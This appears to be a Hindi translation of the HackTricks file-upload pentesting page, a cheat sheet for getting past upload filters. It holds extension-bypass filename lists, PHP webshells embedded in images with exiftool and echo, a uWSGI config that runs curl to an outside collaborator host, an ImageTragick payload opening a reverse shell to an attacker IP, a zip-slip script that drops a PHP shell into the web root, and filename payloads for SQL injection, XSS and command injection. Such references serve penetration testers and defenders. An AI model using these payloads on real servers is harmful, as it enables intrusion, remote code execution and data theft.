.. | ||
pdf-upload-xxe-and-cors-bypass.md | ||
README.md |
फ़ाइल अपलोड
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- अगर आप अपनी कंपनी की विज्ञापनित करना चाहते हैं HackTricks में या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS और HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs संग्रह, The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो** करें।
- हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके HackTricks और HackTricks Cloud github repos में।
अगर आप हैकिंग करियर में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - हम नियुक्ति कर रहे हैं! (फ्लूएंट पोलिश लिखने और बोलने की आवश्यकता है).
{% embed url="https://www.stmcyber.com/careers" %}
फ़ाइल अपलोड सामान्य मेथडोलॉजी
अन्य उपयोगी एक्सटेंशन:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- PHPv8 में काम करना: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
फ़ाइल एक्सटेंशन की जाँच को छलना
- अगर वे लागू होते हैं, तो पिछली एक्सटेंशन की जाँच करें। उन्हें कुछ अपरकेस अक्षरों का उपयोग करके भी टेस्ट करें: pHp, .pHP5, .PhAr ...
- एक वैध एक्सटेंशन को निष्पादन एक्सटेंशन के पहले जोड़ने की जाँच करें (पिछली एक्सटेंशन भी उपयोग करें):
- file.png.php
- file.png.Php5
- अंत में विशेष वर्ण जोड़ने का प्रयास करें। आप बर्फ का उपयोग करके सभी एस्की और यूनिकोड वर्णों को ब्रूटफ़ोर्स कर सकते हैं। (ध्यान दें कि आप पिछले उल्लेखित एक्सटेंशन का भी प्रयोग कर सकते हैं)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php....
- file.pHp5....
- सर्वर-साइड के एक्सटेंशन पार्सर को धोखा देने की कोशिश करें सुरक्षा उपायों को छलकर। एक्सटेंशन को डबल करने या एक्सटेंशन के बीच कुड़ा डेटा (नल बाइट्स) जोड़ने जैसी तकनीकों के साथ। आप एक बेहतर पेलोड तैयार करने के लिए पिछले एक्सटेंशन का भी उपयोग कर सकते हैं
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- पिछली जाँच में एक और परत एक्सटेंशन जोड़ें:
- file.png.jpg.php
- file.php%00.png%00.jpg
- वैध एक्सटेंशन के पहले निष्पादन एक्सटेंशन डालने की कोशिश करें और यहाँ तक कि सर्वर गलत रूप से कॉन्फ़िगर हो जाए। (जिसमें एक्सटेंशन के साथ कुछ भी हो सकता है, लेकिन अनिवार्य रूप से .php से समाप्त नहीं होना चाहिए):
- उदाहरण: file.php.png
- Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS) का उपयोग करें। इस मामले में, एक निषिद्ध एक्सटेंशन के बाद और एक अनुमत एक्सटेंशन के पहले एक आवश्यकता होगी। इस परिणामस्वरूप, सर्वर पर एक खाली फ़ाइल बनाई जाएगी (जैसे "file.asax:.jpg"). इस फ़ाइल को बाद में संपादित किया जा सकता है जैसे कि इसका छोटा नाम उपयोग करके। "::$data" पैटर्न का उपयोग करके गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक डॉट वर्ण भी अधिक प्रतिबंधों को छलने के लिए उपयोगी हो सकता है (जैसे "file.asp::$data.")
- फ़ाइल नाम सीमाओं को तोड़ने की कोशिश करें। वैध एक्सटेंशन को काट दिया जाता है। और दुर्भाग्यपूर्ण PHP छोड़ जाता है। AAA<--SNIP-->AAA.php
# लिनक्स में अधिकतम 255 बाइट
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # यहाँ 4 कम करें और .png जोड़ें
# फ़ाइल अपलोड करें और प्रतिक्रिया की जाँच करें कितने वर्णों को अनुमति देता है। चलिए कहें 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# पेलोड बनाएं
AAA<--SNIP 232 A-->AAA.php.png
विषय-प्रकार, मैजिक नंबर, संपीड़न और आकार-परिवर्तन को उमीद से छूना
- Content-Type जांच को छलकरने के लिए Content-Type हेडर के मान को इस तरह सेट करें: image/png, text/plain, application/octet-stream
- Content-Type वर्डलिस्ट: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
- मैजिक नंबर जांच को छलकरने के लिए एक वास्तविक छवि के बाइट्स (फ़ाइल कमांड को गलतफहमी कराने के लिए) को फ़ाइल की शुरुआत में जोड़कर या मेटाडेटा में शैल डालकर मैजिक नंबर जांच को छलकरें:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
या आप एक छवि में पेलोड सीधे डाल सकते हैं:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
- यदि आपकी छवि में संपीड़न जोड़ा जा रहा है, उदाहरण के लिए PHP-GD जैसे कुछ मानक PHP पुस्तकालय का उपयोग करके, पिछली तकनीक कारगर नहीं होगी। हालांकि, आप PLTE चंक यहां परिभाषित तकनीक का उपयोग कर सकते हैं जिसमें कुछ पाठ डाला जा सकता है जो संपीड़न को जीवित रखेगा।
- कोड के साथ Github
- वेब पृष्ठ भी छवि का आकार परिवर्तित कर सकता है, उदाहरण के लिए PHP-GD फ़ंक्शन
imagecopyresized
याimagecopyresampled
का उपयोग करके। हालांकि, आप IDAT चंक यहां परिभाषित तकनीक का उपयोग कर सकते हैं जिसमें कुछ पाठ डाला जा सकता है जो संपीड़न को जीवित रखेगा। - कोड के साथ Github
- एक तकनीक एक पेलोड बनाने के लिए जो छवि के आकार परिवर्तन को जीवित रखता है, PHP-GD फ़ंक्शन
thumbnailImage
का उपयोग कर सकते हैं। हालांकि, आप tEXt चंक यहां परिभाषित तकनीक का उपयोग कर सकते हैं जिसमें कुछ पाठ डाला जा सकता है जो संपीड़न को जीवित रखेगा। - कोड के साथ Github
अन्य चालाकियाँ जांचने के लिए
- फ़ाइल का नाम बदलने के लिए पहले से ही अपलोड की गई फ़ाइल की एक कमी खोजें (एक्सटेंशन बदलने के लिए)।
- एक स्थानीय फ़ाइल समावेशन विकल्प खोजें ताकि बैकडोर को चलाने के लिए।
- संभावित सूचना लीक:
- कई बार (और एक साथ) एक ही नाम वाली एक ही फ़ाइल को अपलोड करें
- एक फ़ाइल को उपलब्ध होने वाले एक फ़ाइल या फ़ोल्डर के नाम से अपलोड करें
- एक फ़ाइल को उपलब्ध होने वाले नामों में “.”, “..”, या “…” के रूप में उसके नाम के रूप में अपलोड करें। उदाहरण के लिए, एक अपाचे में Windows में, यदि एप्लिकेशन अपलोड की गई फ़ाइलों को “/www/uploads/” निर्देशिका में सहेजती है, तो “.” फ़ाइलनाम “/www/” निर्देशिका में “uploads” नाम की फ़ाइल बनाएगा।
- NTFS में जैसे “…:.jpg” जैसी फ़ाइल जिसे आसानी से हटाया नहीं जा सकता। (Windows)
- अपने नाम में
|<>*?”
जैसे अमान्य वर्ण वाली फ़ाइल को Windows में अपलोड करें। (Windows) - CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9 जैसे निषिद्ध नामों का उपयोग करके रिजर्व्ड (निषिद्ध) नामों के साथ Windows में एक फ़ाइल अपलोड करें।
- एक .exe या एक .html (कम संदेहपूर्ण) अपलोड करने का प्रयास करें जो यदि उपभोक्ता द्वारा अनजाने में खोल दिया जाएगा तो कोड चलाएगा।
विशेष एक्सटेंशन चालाकियाँ
यदि आप फ़ाइलें एक PHP सर्वर पर अपलोड करने का प्रयास कर रहे हैं, कोड चलाने के लिए .htaccess चालाकी को देखें।
यदि आप फ़ाइलें एक ASP सर्वर पर अपलोड करने का प्रयास कर रहे हैं, कोड चलाने के लिए .config चालाकी को देखें।
.phar
फ़ाइलें जावा के लिए .jar
की तरह हैं, लेकिन PHP के लिए हैं, और इसे एक PHP फ़ाइल की तरह उपयोग किया जा सकता है (PHP के साथ इसे चलाना, या इसे एक स्क्रिप्ट के भीतर शामिल करना...)
.inc
एक्सटेंशन कभी-कभी उन PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलें आयात करने के लिए हैं, इसलिए, किसी समय, किसी ने इस एक्सटेंशन को चलाने की अनुमति दी हो सकती है।
Jetty RCE
यदि आप एक XML फ़ाइल को जेटी सर्वर में अपलोड कर सकते हैं तो आप RCE प्राप्त कर सकते हैं क्योंकि नई *.xml और *.war स्वचालित रूप से प्रसंस्कृत होते हैं। तो, जैसा कि निम्नलिखित छवि में उल्लिखित है, XML फ़ाइल को $JETTY_BASE/webapps/
में अपलोड करें और शैल की उम्मीद करें!
uWSGI RCE
इस विकल्प की विस्तृत अन्वेषण के लिए मूल अनुसंधान की जांच करें: uWSGI RCE Exploitation।
दूरस्थ कमांड निषेध (RCE) दुरुपयोग किया जा सकता है यदि किसी को .ini
कॉन्फ़िगरेशन फ़ाइल को संशोधित करने की क्षमता है। uWSGI कॉन्फ़िगरेशन फ़ाइलें "जादू" चर, प्लेसहोल्डर्स, और ऑपरेटर्स को शामिल करने के लिए एक विशेष संधि का उपयोग करती हैं। विशेष रूप से, '@' ऑपरेटर, @(filename)
के रूप में उपयुक्त, एक फ़ाइल की सामग्री को शामिल करने के लिए डिज़ाइन किया गया है। uWSGI में विभिन्न समर्थित योजनाओं में, "exec" योजना विशेष रूप से प्रभावी है, जो एक प्रक्रिया के मानक आउटपुट से डेटा पढ़ने की अनुमति देता है। यह सुविधा दु
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
दस्तावेज के पार्सिंग के दौरान पेलोड का क्रियान्वयन होता है। पेलोड को सक्रिय करने और पार्स करने के लिए, uWSGI प्रक्रिया को या तो पुनरारंभ किया जाना चाहिए (संभावित रूप से क्रैश के बाद या डीनायल ऑफ सर्विस हमले के कारण) या फ़ाइल को ऑटो-रीलोड पर सेट किया जाना चाहिए। ऑटो-रीलोड सुविधा, यदि सक्षम है, तो परिवर्तनों का पता लगाने पर निर्धारित अंतराल पर फ़ाइल को रीलोड करती है।
uWSGI की विनम्रता के संदर्भ में समझना महत्वपूर्ण है। विशेष रूप से चर्चित पेलोड को एक बाइनरी फ़ाइल में डाला जा सकता है (जैसे एक छवि या पीडीएफ), जो संभावित शोषण के दायरे को और भी व्यापक बनाता है।
wget फ़ाइल अपलोड/SSRF ट्रिक
कुछ मौकों पर आपको यह मिल सकता है कि एक सर्वर wget
का उपयोग फ़ाइलें डाउनलोड करने के लिए कर रहा है और आप URL को संकेत कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एकवर्ण सफेद सूची में है ताकि केवल अनुमत फ़ाइलें ही डाउनलोड की जाएं। हालांकि, इस जांच को छल सकता है।
लिनक्स में एक फ़ाइल का नाम की अधिकतम लंबाई 255 है, हालांकि, wget फ़ाइल के नाम को 236 वर्णों में काट देता है। आप "A"*232+".php"+".gif" नाम की एक फ़ाइल डाउनलोड कर सकते हैं, यह नाम जांच को छलाएगा (जैसे इस उदाहरण में ".gif" एक मान्य एक्सटेंशन है) लेकिन wget
फ़ाइल का नाम "A"*232+".php" कर देगा।
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
ध्यान दें कि इस जांच को छलकरने के लिए आपके मन में एक और विकल्प हो सकता है कि HTTP सर्वर को एक विभिन्न फ़ाइल पर पुनर्निर्देशित करें, इस प्रारंभिक URL ने जांच को छलने के लिए उस समय wget नए नाम के साथ पुनर्निर्देशित फ़ाइल को डाउनलोड करेगा। यह काम नहीं करेगा जब तक wget को पैरामीटर --trust-server-names
के साथ उपयोग किया जा रहा हो क्योंकि wget प्रारंभिक URL में निर्दिष्ट फ़ाइल के नाम के साथ पुनर्निर्देशित पृष्ठ को डाउनलोड करेगा।
उपकरण
- अपलोड बाइपास एक शक्तिशाली उपकरण है जो पेंटेस्टर्स और बग हंटर्स को फ़ाइल अपलोड मेकेनिज़म का परीक्षण करने में मदद करने के लिए डिज़ाइन किया गया है। यह विभिन्न बग बाउंटी तकनीकों का उपयोग करता है ताकि वेब एप्लिकेशनों की मूल्यांकन को सरल बनाए रखने के लिए संक्षेपित करने और दोषों का शोधन करने की प्रक्रिया को सुनिश्चित करता है।
फ़ाइल अपलोड से अन्य दोष
- फ़ाइल नाम को
../../../tmp/lol.png
पर सेट करें और एक पथ ट्रावर्सल प्राप्त करने का प्रयास करें - फ़ाइल नाम को
sleep(10)-- -.jpg
पर सेट करें और आप एक SQL इंजेक्शन प्राप्त कर सकते हैं - फ़ाइल नाम को
<svg onload=alert(document.domain)>
पर सेट करें एक XSS प्राप्त करने के लिए - फ़ाइल नाम को
; sleep 10;
पर सेट करें कुछ कमांड इंजेक्शन का परीक्षण करने के लिए (अधिक कमांड इंजेक्शन ट्रिक्स यहाँ) - XSS में छवि (svg) फ़ाइल अपलोड
- JS फ़ाइल अपलोड + XSS = सेवा कर्मचारी शोषण
- svg अपलोड में XXE
- ओपन रीडायरेक्ट svg फ़ाइल अपलोड के माध्यम से
- https://github.com/allanlw/svg-cheatsheet से विभिन्न svg पेलोड का प्रयास करें
- प्रसिद्ध ImageTrick दोष
- यदि आप वेब सर्वर को एक URL से छवि पकड़ने के लिए संकेतित कर सकते हैं तो आप SSRF का दुरुपयोग करने की कोशिश कर सकते हैं। यदि यह छवि किसी सार्वजनिक स्थान में सहेजी जाएगी, तो आप https://iplogger.org/invisible/ से URL को संकेतित कर सकते हैं और प्रत्येक आगंतुक की जानकारी चुरा सकते हैं।
- XXE और CORS को PDF-Adobe अपलोड के साथ छलाना
- विशेष रूप से तैयार किए गए PDFs से XSS: निम्नलिखित पृष्ठ में यह प्रस्तुत करता है कि PDF डेटा को जेएस निष्पादित करने के लिए कैसे इंजेक्ट करें। यदि आप PDFs अपलोड कर सकते हैं तो आप दिए गए निर्देशों का पालन करते हुए कुछ PDF तैयार कर सकते हैं जो विचारात्मक JS को निष्पादित करेगा।
- [[eicar](https://secure.eicar.org/eicar.com.txt) सामग्री अपलोड करें ताकि सर्वर में कोई एंटीवायरस हो या नहीं यह जांचें
- फ़ाइलें अपलोड करने की कोई साइज़ सीमा है या नहीं यह जांचें
यहाँ एक शीर्ष 10 सूची है जिन्हें आप अपलोड करके प्राप्त कर सकते हैं (से यहाँ):
- ASP / ASPX / PHP5 / PHP / PHP3: वेबशैल / RCE
- SVG: स्टोर्ड XSS / SSRF / XXE
- GIF: स्टोर्ड XSS / SSRF
- CSV: CSV इंजेक्शन
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML इंजेक्शन / XSS / ओपन रीडायरेक्ट
- PNG / JPEG: पिक्सेल बाढ़ हमला (DoS)
- ZIP: LFI के माध्यम से RCE / DoS
- PDF / PPTX: SSRF / BLIND XXE
बर्प एक्सटेंशन
{% embed url="https://github.com/portswigger/upload-scanner" %}
जादू हेडर बाइट्स
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
- JPG:
"\xff\xd8\xff"
अन्य फ़ाइल प्रकारों के लिए https://en.wikipedia.org/wiki/List_of_file_signatures का संदर्भ दें।
ज़िप/टार फ़ाइल स्वचालित रूप से अपलोड किया गया
यदि आप एक ZIP अपलोड कर सकते हैं जो सर्वर के अंदर डीकंप्रेस किया जाएगा, तो आप 2 चीजें कर सकते हैं:
सिमलिंक
अन्य फ़ाइलों के लिए सॉफ़्ट लिंक्स वाला लिंक अपलोड करें, फिर, डीकंप्रेस की गई फ़ाइलों तक पहुंचकर आप लिंक की गई फ़ाइलों तक पहुंचेंगे:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
विभिन्न फोल्डर में डीकंप्रेस करें
डीकंप्रेशन के दौरान निर्दिष्ट निर्देशिकाओं में फ़ाइलों का अनपेक्षित निर्माण एक महत्वपूर्ण मुद्दा है। जैसा कि प्रारंभिक मान्यताओं के बावजूद, इस सेटअप से यह सुनिश्चित किया जा सकता है कि अटकल फ़ाइल अपलोड के माध्यम से ओएस स्तर के कमांड क्रियान्वयन से बचाव कर सकता है, ZIP आर्काइव प्रारूप की वर्गीकरण समर्थन और निर्देशिका चरण क्षमताएँ उपयोग की जा सकती हैं। इससे हमलावादियों को प्रतिबंधों को छलकरने और लक्षित एप्लिकेशन की डीकंप्रेशन कार्यक्षमता को मानिया जा सकता है।
ऐसी फ़ाइलों को बनाने के लिए एक स्वचालित उत्पीड़न evilarc on GitHub पर उपलब्ध है। यह उपयोगिता निम्नलिखित रूप में प्रयोग की जा सकती है:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
इसके अतिरिक्त, symlink trick with evilarc एक विकल्प है। यदि लक्ष्य है किसी फ़ाइल को लक्षित करना जैसे /flag.txt
, तो उस फ़ाइल के लिए एक symlink आपके सिस्टम में बनाया जाना चाहिए। इससे यह सुनिश्चित होता है कि evilarc अपने संचालन के दौरान त्रुटियों का सामना नहीं करता।
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
फ़ाइल स्प्रे करने के लिए संपीड़न का दुरुपयोग
अधिक विवरण के लिए मूल पोस्ट देखें: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- एक PHP शैल बनाना: PHP कोड लिखा जाता है जो
$_REQUEST
वेरिएबल के माध्यम से पारित कमांड को निष्पादित करने के लिए है।
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- फ़ाइल स्प्रे और संपीड़न फ़ाइल निर्माण: कई फ़ाइलें बनाई जाती हैं और इन फ़ाइलों को समेत करने वाला एक ज़िप आर्काइव बनाया जाता है।
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- हेक्स संपादक या vi के साथ संशोधन: ज़िप के अंदर की फ़ाइलों के नामों को vi या हेक्स संपादक का उपयोग करके बदला जाता है, "xxA" को बदलकर "../" को फ़ोल्डरों में चलने के लिए।
:set modifiable
:%s/xxA/..\//g
:x!
ImageTragic
इस सामग्री को एक छवि एक्सटेंशन के साथ अपलोड करें ताकि सुरक्षा दोष का शोषण किया जा सके (ImageMagick, 7.0.1-1) (एक्सप्लॉइट से exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
PHP शैल को PNG में एम्बेड करना
एक PNG फ़ाइल के IDAT चंक में PHP शैल को एम्बेड करना कुछ छवि प्रसंस्करण कार्रवाइयों को पार करने में कारगर हो सकता है। PHP-GD से imagecopyresized
और imagecopyresampled
फ़ंक्शन इस संदर्भ में विशेष रूप से महत्वपूर्ण हैं, क्योंकि ये आम तौर पर छवियों को आकार बदलने और पुनर्नमूना करने के लिए उपयोग किए जाते हैं। एम्बेडेड PHP शैल की क्षमता कि ये ऑपरेशनों से प्रभावित नहीं होता है, कुछ उपयोग मामलों के लिए एक महत्वपूर्ण लाभ है।
इस तकनीक का विस्तृत अन्वेषण, इसकी विधि और संभावित अनुप्रयोगों के साथ, निम्नलिखित लेख में प्रदान किया गया है: "PNG IDAT चंक में वेब शैल्स को एन्कोड करना"। यह संसाधन प्रक्रिया और इसके परिणामों की एक व्यापक समझ प्रदान करता है।
अधिक जानकारी: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
पॉलीग्लॉट फ़ाइलें
पॉलीग्लॉट फ़ाइलें साइबर सुरक्षा में एक अद्वितीय उपकरण के रूप में काम करती हैं, जो चेमेलियन के रूप में कार्य करती हैं जो समय-समय पर कई फ़ाइल प्रारूपों में मौजूद हो सकती हैं। एक रोचक उदाहरण है GIFAR, एक हाइब्रिड जो एक साथ GIF और RAR आर्काइव के रूप में काम करता है। ऐसी फ़ाइलें इस संयोजन के सीमित नहीं हैं; GIF और JS या PPT और JS जैसे संयोजन भी संभव हैं।
पॉलीग्लॉट फ़ाइलों की मूल उपयोगिता उनकी क्षमता में है जो फ़ाइल प्रकार के आधार पर फ़ाइलों की स्क्रीनिंग करने वाली सुरक्षा उपायों को छलने में है। विभिन्न एप्लिकेशनों में सामान्य अभ्यास शामिल है केवल कुछ फ़ाइल प्रकारों को अपलोड के लिए अनुमति देना—जैसे JPEG, GIF, या DOC—जो संभावित हानिकारक प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए। हालांकि, एक पॉलीग्लॉट, एकाधिक फ़ाइल प्रकारों के संरचनात्मक मापदंडों का पालन करके, इन प्रतिबंधों को चुपके से छल सकता है।
अपनी अनुकूलनशीलता के बावजूद, पॉलीग्लॉट की कुछ सीमाएँ होती हैं। उदाहरण के लिए, जबकि एक पॉलीग्लॉट समय-समय पर एक PHAR फ़ाइल (PHp ARchive) और एक JPEG को साथ ही अभिव्यक्त कर सकता है, इसकी अपलोड की सफलता उस प्लेटफ़ॉर्म की फ़ाइल एक्सटेंशन नीतियों पर निर्भर हो सकती है। यदि सिस्टम अनुमति देने वाली एक्सटेंशनों के बारे में कड़ी हो, तो एक पॉलीग्लॉट की केवल संरचनात्मक द्वैतता उसकी अपलोड की गारंटी देने के लिए पर्याप्त नहीं हो सकती।
अधिक जानकारी: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
संदर्भ
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
यदि आप हैकिंग करियर में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (फ्लूएंट पोलिश लिखित और बोली जानी चाहिए).
{% embed url="https://www.stmcyber.com/careers" %}
जानें AWS हैकिंग को शून्य से हीरो बनाने के साथ htARTE (HackTricks AWS Red Team Expert)!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी को HackTricks में विज्ञापित करना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs कलेक्शन The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो करें।
- हैकिंग ट्रिक्स साझा करें HackTricks और HackTricks Cloud github रेपो में PR जमा करके।